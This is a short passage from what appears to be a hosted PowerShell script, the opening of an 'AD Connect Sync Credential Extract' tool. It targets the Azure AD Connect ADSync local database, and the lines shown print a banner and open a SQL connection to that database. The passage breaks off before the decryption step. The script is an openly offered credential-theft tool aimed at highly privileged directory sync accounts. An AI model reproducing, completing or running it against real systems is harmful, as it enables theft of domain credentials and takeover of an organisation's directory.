This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Write-Host "AD Connect Sync Credential Extract v3 (@_xpn_ & @tijldeneut)" | |
| Write-Host "`t[ Updated to support new cryptokey storage method ]" | |
| Write-Host "`t[ Updated to support Server 2019's new instance name ]`n" | |
| $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync" | |
| try { | |
| $client.Open() | |
| } catch { | |
| Write-Host "[!] Could not connect to localdb with ADSync, trying ADSync2019..." |
NewerOlder